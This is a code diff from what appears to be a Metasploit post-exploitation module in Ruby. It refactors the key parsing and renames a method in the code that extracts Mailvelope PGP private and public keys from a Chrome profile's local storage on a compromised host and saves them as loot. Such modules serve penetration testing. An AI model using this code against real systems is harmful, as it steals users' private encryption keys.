@@ -40,7 +40,11 @@ def initialize(info={})
40
40
] , self . class )
41
41
end
42
42
43
- def extension_parse_mailvelope ( username , extname )
43
+ def extension_mailvelope_parse_key ( data )
44
+ return data . gsub ( "\x00 " , "" ) . tr ( "[]" , "" ) . gsub ( "\\ r" , "" ) . gsub ( "\" " , "" ) . gsub ( "\\ n" , "\n " )
45
+ end
46
+
47
+ def extension_mailvelope ( username , extname )
44
48
chrome_path = @profiles_path + "\\ " + username + @data_path
45
49
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{ extname } _0.localstorage"
46
50
begin
@@ -64,7 +68,7 @@ def extension_parse_mailvelope(username, extname)
64
68
keys = res [ "value" ] . split ( "," )
65
69
print_good ( "==> Found #{ keys . size } private key(s)!" )
66
70
keys . each do |key |
67
- privkey = key . split ( " \x00 " ) . join . tr ( "[]" , "" ) . split ( " \\ r" ) . join . split ( " \" " ) . join . split ( " \\ n" ) . join ( " \n " )
71
+ privkey = extension_mailvelope_parse_key ( key )
68
72
vprint_good ( privkey )
69
73
path = store_loot ( "chrome.mailvelope.privkey" , "text/plain" , session , privkey , "privkey.key" , "Mailvelope PGP Private Key" )
70
74
print_status ( "==> Saving private key to: #{ path } " )
@@ -74,7 +78,7 @@ def extension_parse_mailvelope(username, extname)
74
78
keys = res [ "value" ] . split ( "," )
75
79
print_good ( "==> Found #{ keys . size } public key(s)!" )
76
80
keys . each do |key |
77
- pubkey = key . split ( " \x00 " ) . join . tr ( "[]" , "" ) . split ( " \\ r" ) . join . split ( " \" " ) . join . split ( " \\ n" ) . join ( " \n " )
81
+ pubkey = extension_mailvelope_parse_key ( key )
78
82
vprint_good ( pubkey )
79
83
path = store_loot ( "chrome.mailvelope.pubkey" , "text/plain" , session , pubkey , "pubkey.key" , "Mailvelope PGP Public Key" )
80
84
print_status ( "==> Saving public key to: #{ path } " )
@@ -97,7 +101,7 @@ def parse_prefs(username, filepath)
97
101
print_status ( "=> #{ values [ 'manifest' ] [ 'name' ] } " )
98
102
if values [ 'manifest' ] [ 'name' ] =~ /mailvelope/i
99
103
print_good ( "==> Found Mailvelope extension, extracting PGP keys" )
100
- extension_parse_mailvelope ( username , name )
104
+ extension_mailvelope ( username , name )
101
105
end
102
106
end
103
107
end
0 commit comments